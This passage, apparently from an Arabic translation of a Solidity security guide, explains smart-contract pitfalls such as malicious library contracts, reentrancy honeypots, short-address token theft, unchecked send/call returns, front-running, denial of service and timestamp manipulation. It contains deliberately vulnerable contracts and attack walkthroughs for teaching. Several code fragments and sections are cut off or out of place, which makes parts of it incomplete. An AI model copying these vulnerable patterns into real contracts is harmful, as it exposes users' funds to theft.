                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
            }
        }
        emit Result(text);
    }
}

function rot13Encrypt(string text) public {
    emit Print(text);
}

إذا تم تمرير عنوان أي من هذين العقدين في المُنشئ، فإن دالة `encryptPrivateData()` ستكتفي ببساطة بإصدار حدث يطبع البيانات الخاصة غير المشفرة. على الرغم من أنه في هذا المثال تم تعيين عقد شبيه بالمكتبة في المُنشئ، إلا أنه في كثير من الحالات يمكن لمستخدم متميز (مثل `owner`) تغيير عناوين عقود المكتبة. إذا كان العقد المرتبط لا يحتوي على الدالة التي يتم استدعاؤها، فسيتم تنفيذ دالة fallback. على سبيل المثال، مع السطر `encryptionLibrary.rot13Encrypt()`، إذا كان العقد المحدد بواسطة `encryptionLibrary` هو:```solidity
 contract Blank {
     event Print(string text);
     function () {
         emit Print("Here");
         //put malicious code here and it will run
     }
 }

This way an instance of the referenced contract is created at deployment time and the deployer cannot replace the `Rot13Encryption` contract with anything else without modifying the smart contract.

Another solution is to hard code any external contract addresses if they are known.

In general, code that calls external contracts should always be looked at carefully. As a developer, when defining external contracts, it can be a good idea to make the contract addresses public (which is not the case in the honey-pot example given below) to allow users to easily examine which code is being referenced by the contract. Conversely, if a contract has a private variable contract address it can be a sign of someone behaving maliciously (as shown in the real-world example). If a privileged (or any) user is capable of changing a contract address which is used to call external functions, it can be important (in a decentralised system context) to implement a time-lock or voting mechanism to allow users to see which code is being changed or to give participants a chance to opt in/out with the new contract address.


<h3 id="cr-example">مثال من العالم الحقيقي: مصيدة إعادة الدخول</h3>

تم إطلاق عدد من المصائد مؤخرًا على الشبكة الرئيسية. تحاول هذه العقود التفوق على قراصنة إيثريوم الذين يحاولون استغلال العقود، لكنهم في المقابل ينتهي بهم الأمر إلى خسارة الإيثر لصالح العقد الذي يتوقعون استغلاله. أحد الأمثلة يستخدم الهجوم أعلاه عن طريق استبدال عقد متوقع بعقد خبيث في المُنشئ. يمكن العثور على الكود [هنا](https://etherscan.io/address/0x95d34980095380851902ccd9a1fb4c813c2cb639#code):```solidity
pragma solidity ^0.4.19;

contract Private_Bank
{
    mapping (address => uint) public balances;
    uint public MinDeposit = 1 ether;
    Log TransferLog;

    function Private_Bank(address _log)
    {
        TransferLog = Log(_log);
    }

    function Deposit()
    public
    payable
    {
        if(msg.value >= MinDeposit)
        {
            balances[msg.sender]+=msg.value;
            TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
        }
    }

    function CashOut(uint _am)
    {
        if(_am<=balances[msg.sender])
        {
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                TransferLog.AddMessage(msg.sender,_am,"CashOut");
            }
        }
    }

    function() public payable{}

}

contract Log
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;
    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}

الآن لنفكّر في بورصة تحتفظ بكمية كبيرة من توكن (لنقل `REP`)، ويريد مستخدم سحب حصته البالغة 100 توكن. سيُرسل المستخدم عنوانه، `0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead` وعدد التوكنات، `100`. ستقوم البورصة بترميز هذه المعاملات بالترتيب المحدد بواسطة دالة `transfer()`، أي `address` ثم `tokens`. النتيجة المرمّزة ستكون `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000` `000000000000000000000000000000000056bc75e2d63100000`. أول أربعة بايتات (`a9059cbb`) هي [توقيع الدالة/مُحدِّد الدالة](https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector) الخاص بـ `transfer()`، والبايتات الـ32 الثانية هي العنوان، تليها الـ32 بايتة الأخيرة التي تمثل عدد التوكنات من نوع `uint256`. لاحظ أن القيمة السداسية العشرية `56bc75e2d63100000` في النهاية تقابل 100 توكن (مع 18 خانة عشرية، كما هو محدد في عقد توكن `REP`).

حسنًا، لننظر الآن إلى ما يحدث إذا أرسلنا عنوانًا ناقصًا منه 1 بايت (رقمان سداسيان عشريان). تحديدًا، لنقل أن مهاجمًا يُرسل `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde` كعنوان (مع فقدان آخر رقمين) ونفس الـ `100` توكن لسحبها. إذا لم تتحقق البورصة من صحة هذا الإدخال، فسيتم ترميزه كالتالي `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde00000000000000` `00000000000000000000000000000000056bc75e2d6310000000`. الفرق دقيق. لاحظ أنه تمت إضافة `00` كحشو إلى نهاية الترميز لتعويض العنوان القصير الذي تم إرساله. عندما يُرسَل هذا إلى العقد الذكي، ستُقرأ معاملات `address` على أنها `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00` وستُقرأ القيمة على أنها `56bc75e2d6310000000` (لاحظ الرقمين الإضافيين `0`). هذه القيمة الآن هي `25600` توكن (تم ضرب القيمة في `256`). في هذا المثال، إذا كانت البورصة تحتفظ بهذا العدد من التوكنات، فسيسحب المستخدم `25600` توكن (بينما تعتقد البورصة أن المستخدم يسحب `100` فقط) إلى العنوان المعدّل. من الواضح أن المهاجم لن يمتلك العنوان المعدّل في هذا المثال، لكن إذا قام المهاجم بتوليد أي عنوان ينتهي بأصفار `0` (والذي يمكن تخمينه بسهولة بالقوة الغاشمة) واستخدم هذا العنوان المولّد، فسيتمكن بسهولة من سرقة التوكنات من البورصة غير المنتبهة.

<h3 id="short-prev">تقنيات الوقاية</h3>

أعتقد أنه من الواضح القول إن التحقق من صحة جميع المدخلات قبل إرسالها إلى سلسلة الكتل سيمنع هذا النوع من الهجمات. وتجدر الإشارة أيضًا إلى أن ترتيب المعاملات يلعب دورًا مهمًا هنا. نظرًا لأن الحشو يحدث فقط في النهاية، فإن الترتيب الدقيق للمعاملات في العقد الذكي يمكن أن يخفف من بعض أشكال هذا الهجوم.

<h3 id="short-example">مثال من العالم الحقيقي: غير معروف</h3>

لا أعرف أي هجوم مُعلن عنه من هذا النوع في البرية.

<h2 id="unchecked-calls"><span id="SP-9">9. قيم إرجاع CALL غير المفحوصة</span></h2>

هناك عدد من الطرق لتنفيذ استدعاءات خارجية في solidity. إرسال الإيثر إلى حسابات خارجية يتم عادةً عبر طريقة `transfer()`. ومع ذلك، يمكن أيضًا استخدام دالة `send()`، وبالنسبة للاستدعاءات الخارجية الأكثر مرونة، يمكن استخدام Opcode الخاصة بـ `CALL` مباشرةً في solidity. تُرجع الدالتان `call()` و`send()` قيمة منطقية تشير إلى ما إذا كان الاستدعاء ناجحًا أو فاشلًا. وبالتالي، لهاتين الدالتين ملاحظة بسيطة، وهي أن المعاملة التي تنفذ هاتين الدالتين لن ترتد (revert) إذا فشل الاستدعاء الخارجي (الذي بدأ عبر `call()` أو `send()`)، بل إن `call()` أو `send()` سترجعان ببساطة `false`. ينشأ مأزق شائع عندما لا يتم فحص القيمة المرجعة، بل يتوقع المطوّر حدوث تراجع.

لمزيد من القراءة، انظر [DASP Top 10](http://www.dasp.co/#item-4) و [Scanning Live Ethereum Contracts for the "Unchecked-Send" Bug](http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/).

<h3 id="unchecked-calls-vuln">الثغرة</h3>

تأمل المثال التالي:```solidity
contract Lotto {

    bool public payedOut = false;
    address public winner;
    uint public winAmount;

    // ... extra functionality here

    function sendToWinner() public {
        require(!payedOut);
        winner.send(winAmount);
        payedOut = true;
    }

    function withdrawLeftOver() public {
        require(payedOut);
        msg.sender.send(this.balance);
    }
}

    var subpotsCount = getSubpotsCount(roundIndex);

    if(subpotIndex>=subpotsCount)
        return;

    var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);

    if(decisionBlockNumber>block.number)
        return;

    if(rounds[roundIndex].isCashed[subpotIndex])
        return;
    //Subpots can only be cashed once. This is to prevent double payouts

    var winner = calculateWinner(roundIndex,subpotIndex);
    var subpot = getSubpot(roundIndex);

    winner.send(subpot);

    rounds[roundIndex].isCashed[subpotIndex] = true;
    //Mark the round as cashed

لاحظ أنه في السطر \[21\] لا يتم التحقق من قيمة إرجاع دالة send، ويقوم السطر التالي بتعيين قيمة منطقية (boolean) تشير إلى أن الفائز قد أُرسلت إليه أمواله. يمكن أن يسمح هذا الخطأ بحدوث حالة لا يتلقى فيها الفائز إيثرَه، بينما تشير حالة العقد إلى أن الفائز قد دُفع له بالفعل.

ظهرت نسخة أكثر خطورة من هذا الخطأ في [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html). وقد تمت كتابة [تحليل ممتاز لما بعد الحادثة](https://www.kingoftheether.com/postmortem.html) لهذا العقد يوضح كيف يمكن استخدام فشل `send()` غير المُتحقَّق منه لمهاجمة العقد.


<h2 id="race-conditions"><span id="SP-10">10. حالات السباق / الجري الأمامي</span></h2>

إن الجمع بين الاستدعاءات الخارجية لعقود أخرى والطبيعة متعددة المستخدمين لسلسلة الكتل الأساسية يؤدي إلى ظهور مجموعة متنوعة من المخاطر المحتملة في Solidity، حيث *يتسابق* المستخدمون على تنفيذ التعليمات البرمجية للوصول إلى حالات غير متوقعة. [Re-Entrancy](#reentrancy) هو أحد أمثلة حالة السباق هذه. في هذا القسم سنتحدث بشكل أكثر عمومية عن الأنواع المختلفة لحالات السباق التي يمكن أن تحدث على سلسلة كتل الإيثيريوم. هناك مجموعة من المقالات الجيدة حول هذا الموضوع، منها: [Ethereum Wiki - Safety](https://github.com/ethereum/wiki/wiki/Safety#race-conditions)، و[DASP - Front-Running](http://www.dasp.co/#item-7)، و[Consensus - Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#race-conditions).

<h3 id="race-conditions-vuln">الثغرة</h3>

كما هو الحال مع معظم سلاسل الكتل، تقوم عُقد الإيثيريوم بتجميع المعاملات وتشكيلها في كتل. لا تُعتبر المعاملات صالحة إلا بعد أن يحل المُعدِّن آلية إجماع (حاليًا [ETHASH](https://github.com/ethereum/wiki/wiki/Ethash) PoW للإيثيريوم). المُعدِّن الذي يحل الكتلة يختار أيضًا المعاملات التي سيتم تضمينها في الكتلة من التجمع، وعادةً ما يتم ترتيبها حسب `gasPrice` للمعاملة. هنا يكمن ناقل هجوم محتمل. يمكن للمهاجم مراقبة تجمع المعاملات بحثًا عن معاملات قد تحتوي على حلول للمشكلات، أو تعديل أذونات المهاجم أو إلغائها، أو تغيير حالة في عقد تكون غير مرغوبة للمهاجم. يمكن للمهاجم بعد ذلك الحصول على البيانات من هذه المعاملة وإنشاء معاملة خاصة به بسعر `gasPrice` أعلى وإدراج معاملته في كتلة قبل المعاملة الأصلية.

لنرَ كيف يمكن أن يعمل هذا بمثال بسيط. تأمل العقد `FindThisHash.sol`:```solidity
contract FindThisHash {
    bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;

    constructor() public payable {} // load with ether

    function solve(string solution) public {
        // If you can find the pre image of the hash, receive 1000 ether
        require(hash == sha3(solution));
        msg.sender.transfer(1000 ether);
    }
}

هذه الوظيفة تتيح للمستخدم السماح لمستخدمين آخرين بنقل الرموز المميزة نيابةً عنه. تأتي ثغرة التقدم على الصفقات (frontrunning) في السيناريو عندما يقوم مستخدم، أليس، *بالموافقة* لصديقها `Bob` على إنفاق `100 tokens`. تقرر أليس لاحقاً أنها تريد إلغاء موافقة `Bob` على إنفاق `100 tokens`، لذا تنشئ معاملةً تعيّن حصة `Bob` إلى `50 tokens`. `Bob`، الذي كان يراقب السلسلة بعناية، يرى هذه المعاملة ويبني معاملة خاصة به لإنفاق الـ `100 tokens`. يضع `gasPrice` أعلى على معاملته من معاملة `Alice`’s، فتحظى معاملته بالأولوية على معاملتها. بعض تطبيقات `approve()` قد تسمح لـ `Bob` بنقل الـ `100 tokens` خاصته، ثم عندما تُثبَّت معاملة `Alice`’s، تُعيد تعيين موافقة `Bob` إلى `50 tokens`، مما يعطي `Bob` فعلياً إمكانية الوصول إلى `150 tokens`. استراتيجيات التخفيف من هذا الهجوم مذكورة [هنا](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit) في المستند المرتبط أعلاه.

مثال آخر بارز من العالم الحقيقي هو [Bancor](https://www.bancor.network/). قام إيفان بوجاتي وفريقه بتوثيق هجوم مربح على تطبيق Bancor الأولي. تناقش [مقالته على مدونته](https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-ethereum-api-d5e2bfd0d798) و[محاضرته في Devon 3](https://www.youtube.com/watch?v=RL2nE3huNiI) بالتفصيل كيف تم ذلك. بشكل أساسي، يتم تحديد أسعار الرموز المميزة بناءً على قيمة المعاملة، ويمكن للمستخدمين مراقبة تجمع المعاملات لمعاملات Bancor والتقدم عليها (front run) للربح من فروق الأسعار. تمت معالجة هذا الهجوم من قبل فريق Bancor.

<h2 id="dos"><span id="SP-11">11. رفض الخدمة (Denial Of Service - DOS)</span></h2>

هذه الفئة واسعة جداً، لكنها تتكون أساساً من هجمات يمكن للمهاجمين من خلالها جعل العقد غير قابل للتشغيل لفترة قصيرة من الزمن، أو في بعض الحالات، بشكل دائم. يمكن أن يحبس هذا الإيثر في هذه العقود إلى الأبد، كما كان الحال مع [الاختراق الثاني لمحفظة Parity متعددة التوقيع](#dc-example)

<h3 id="dos-vuln">الثغرة</h3>

هناك طرق مختلفة يمكن أن يصبح بها العقد غير قابل للتشغيل. سأسلط الضوء هنا فقط على بعض أنماط البرمجة في Solidity الدقيقة الخاصة بسلسلة الكتل والأقل وضوحاً والتي قد تؤدي بالمهاجمين إلى تنفيذ هجمات رفض الخدمة.

**1. استدعاءات خارجية بدون بدل غاز (gas stipends)** - قد تكون هناك حالة ترغب فيها
في إجراء استدعاء خارجي إلى عقد غير معروف ومواصلة معالجة المعاملة
بغض النظر عما إذا فشل هذا الاستدعاء أم لا. عادةً ما يتم
تحقيق ذلك باستخدام كود التشغيل `CALL`، الذي لا يتراجع عن المعاملة
إذا فشل الاستدعاء (انظر [قيم إرجاع CALL غير المفحوصة](#unchecked-calls) لمزيد من التفاصيل والأمثلة).
لنأخذ مثالاً بسيطاً، حيث لدينا عقد محفظة يقوم بتوزيع
الإيثر ببطء عند استدعاء دالة `withdraw()`. يمكن لـ `partner` أن
يضيف عنوانه وينفق الغاز لاستدعاء السحب، مما يمنح كلاً من
`partner` و`owner` 1% من إجمالي رصيد العقد.```solidity
contract TrickleWallet {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        require(partner == '0x0' || msg.sender == partner);
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        // perform a call without checking return
        // the recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    function() payable {}

    // convenience function
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}

إذا قرر شريك السحب أنه لا يحب مالك العقد.
يمكنه تعيين عنوان الشريك إلى هذا العقد وحبس جميع الأموال في
عقد `TrickleWallet` إلى الأبد.

لمنع نواقل هجمات حجب الخدمة (DOS) هذه، تأكد من تحديد بدل غاز (gas stipend) في
استدعاء خارجي، للحد من كمية الغاز التي يمكن أن تستخدمها تلك المعاملة. في
مثالنا، يمكننا معالجة هذا الهجوم بتغيير السطر \[17\] إلى:```solidity
partner.call.gas(50000).value(amountToSend)();

// ... extra functionality, including transfertoken()

function invest() public payable {
    investors.push(msg.sender);
    investorTokens.push(msg.value * 5); // 5 times the wei sent
    }

function distribute() public {
    require(msg.sender == owner); // only owner
    for(uint i = 0; i < investors.length; i++) {
        // here transferToken(to,amount) transfers "amount" of tokens to the address "to"
        transferToken(investors[i],investorTokens[i]);
    }
}

لاحظ أن الحلقة في هذا العقد تعمل على مصفوفة يمكن تضخيمها بشكل مصطنع. يمكن للمهاجم إنشاء العديد من حسابات المستخدمين مما يجعل مصفوفة `investor` كبيرة. من حيث المبدأ، يمكن القيام بذلك بحيث يتجاوز الغاز المطلوب لتنفيذ حلقة for حد الغاز للكتلة، مما يجعل الدالة `distribute()` غير قابلة للتشغيل بشكل أساسي.

**3. عمليات المالك** - نمط شائع آخر هو حيث يكون لدى المالكين صلاحيات محددة في العقود ويجب عليهم أداء مهمة معينة من أجل أن ينتقل العقد إلى الحالة التالية. أحد الأمثلة هو عقد ICO يتطلب من المالك `finalize()` العقد مما يسمح بعد ذلك بأن تكون الرموز قابلة للتحويل، أي.``` solidity
bool public isFinalized = false;
address public owner; // gets set somewhere

function finalize() public {
    require(msg.sender == owner);
    isFinalized == true;
}

// ... extra ICO functionality

// overloaded transfer function
function transfer(address _to, uint _value) returns (bool) {
    require(isFinalized);
    super.transfer(_to,_value)
}

...

constructor() public payable {} // initially fund contract

// fallback function used to make a bet
function () public payable {
    require(msg.value == 10 ether); // must send 10 ether to play
    require(now != pastBlockTime); // only 1 transaction per block
    pastBlockTime = now;
    if(now % 15 == 0) { // winner
        msg.sender.transfer(this.balance);
    }
}

يتصرف هذا العقد وكأنه يانصيب بسيط. يمكن لمعاملة واحدة لكل كتلة أن تراهن بـ `10 ether` للحصول على فرصة للفوز برصيد العقد. الافتراض هنا هو أن `block.timestamp` موزّع بشكل منتظم حول آخر رقمين. إذا كان الأمر كذلك، فستكون هناك فرصة 1/15 للفوز بهذا اليانصيب.

ومع ذلك، كما نعلم، يمكن للمعدّنين تعديل الطابع الزمني إذا احتاجوا إلى ذلك. في هذه الحالة بالذات، إذا تجمّع ما يكفي من الإيثير في العقد، فإن المعدّن الذي يحلّ كتلةً يكون لديه حافز لاختيار طابع زمني بحيث يكون `block.timestamp` أو `now` معامل 15 مساوياً `0`. وبهذا قد يفوز بالإيثير المحبوس في هذا العقد بالإضافة إلى مكافأة الكتلة. وبما أنه يُسمح لشخص واحد فقط بالمراهنة في كل كتلة، فإن هذا معرّض أيضاً لهجمات [الانقضاض الأمامي](#race-conditions).

عملياً، تكون الطوابع الزمنية للكتل متزايدة بشكل رتيب، ولذلك لا يمكن للمعدّنين اختيار طوابع زمنية عشوائية للكتل (يجب أن تكون أكبر من طوابع الكتل السابقة لها). كما أنهم مقيدون بتعيين أوقات كتل ليست بعيدة جداً في المستقبل، لأن هذه الكتل سيرفضها الشبكة على الأرجح (عُقد الشبكة لن تتحقق من صحة الكتل التي تكون طوابعها الزمنية في المستقبل).

<h3 id="block-timestamp-prev">التقنيات الوقائية</h3>

لا ينبغي استخدام الطوابع الزمنية للكتل كمصدر للعشوائية أو لتوليد أرقام عشوائية - أي أنها لا ينبغي أن تكون العامل الحاسم (إما مباشرة أو من خلال اشتقاق ما) للفوز بلعبة أو تغيير حالة مهمة (إذا افترض أنها عشوائية).

بعض المنطق الحساس للوقت يكون مطلوباً أحياناً؛ أي فتح العقود المقفلة (قفل زمني)، أو إكمال طرح أولي للعملات (ICO) بعد بضعة أسابيع، أو فرض تواريخ انتهاء الصلاحية. يُنصح أحياناً باستخدام `block.number` (انظر [وثائق Solidity](http://solidity.readthedocs.io/en/latest/units-and-global-variables.html#block-and-transaction-properties)) ومتوسط زمن الكتلة لتقدير الأوقات؛ أي أن `1 week` مع زمن كتلة `10 second` يعادل تقريباً `60480 blocks`. وبالتالي، تحديد رقم كتلة لتغيير حالة العقد قد يكون أكثر أماناً لأن المعدّنين غير قادرين على التلاعب برقم الكتلة بسهولة. اعتمد عقد [BAT ICO](https://etherscan.io/address/0x0d8775f648430679a709e98d2b0cb6250d2887ef#code) هذه الاستراتيجية.

قد يكون هذا غير ضروري إذا لم تكن العقود معنية بشكل خاص بتلاعب المعدّنين بالطابع الزمني للكتلة، لكنه شيء يجب أن يكون المطوّرون على دراية به عند تطوير العقود.

<h3 id="block-timestamp-example">مثال من العالم الحقيقي: GovernMental </h3>

[GovernMental](http://governmental.github.io/GovernMental/) كان مخطط بونزي قديماً جمع كمية كبيرة جداً من الإيثير. كما كان عرضة لهجوم قائم على الطابع الزمني. كان العقد يدفع للاعب الذي كان آخر لاعب ينضم (لمدة دقيقة واحدة على الأقل) في جولة. وبالتالي، كان بإمكان المعدّن الذي كان لاعباً أن يعدّل الطابع الزمني (إلى وقت مستقبلي، ليجعل الأمر يبدو وكأن دقيقة قد مضت) ليجعل الأمر يبدو أن اللاعب كان آخر المنضمين لأكثر من دقيقة (حتى لو لم يكن هذا صحيحاً في الواقع). يمكن العثور على مزيد من التفاصيل حول هذا في [مقالة تاريخ ثغرات أمن إيثيريوم](https://applicature.com/blog/history-of-ethereum-security-vulnerabilities-hacks-and-their-fixes) بقلم تانيا باهرينوفسكا.

<h2 id="constructors"><span id="SP-13">13. التعامل مع المُنشئات بحذر</span></h2>

المُنشئات هي دوال خاصة غالباً ما تؤدي مهاماً حرجة وامتيازية عند تهيئة العقود. قبل solidity `v0.4.22`، كانت المُنشئات تُعرّف كدوال لها نفس اسم العقد الذي يحتويها. وبالتالي، عندما يتغير اسم العقد أثناء التطوير، إذا لم يتغير اسم المُنشئ، فإنه يصبح دالة عادية قابلة للاستدعاء. وكما يمكنك أن تتخيل، فإن هذا يمكن أن يؤدي (وقد أدى بالفعل) إلى بعض الاختراقات المثيرة للاهتمام للعقود.

لمزيد من القراءة، أقترح على القارئ تجربة [تحديات Ethernaught](https://github.com/OpenZeppelin/ethernaut) (خاصة مستوى Fallout).

<h3 id="constructors-vuln">الثغرة</h3>

إذا تم تعديل اسم العقد، أو كان هناك خطأ إملائي في اسم المُنشئ بحيث لم يعد يطابق اسم العقد، فإن المُنشئ سيتصرف كدالة عادية. يمكن أن يؤدي هذا إلى عواقب وخيمة، خاصة إذا كان المُنشئ ينفذ عمليات مميزة. خذ بعين الاعتبار العقد التالي```solidity
contract OwnerWallet {
    address public owner;

    //constructor
    function ownerWallet(address _owner) public {
        owner = _owner;
    }

    // fallback. Collect ether.
    function () payable {}

    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.transfer(this.balance);
    }
}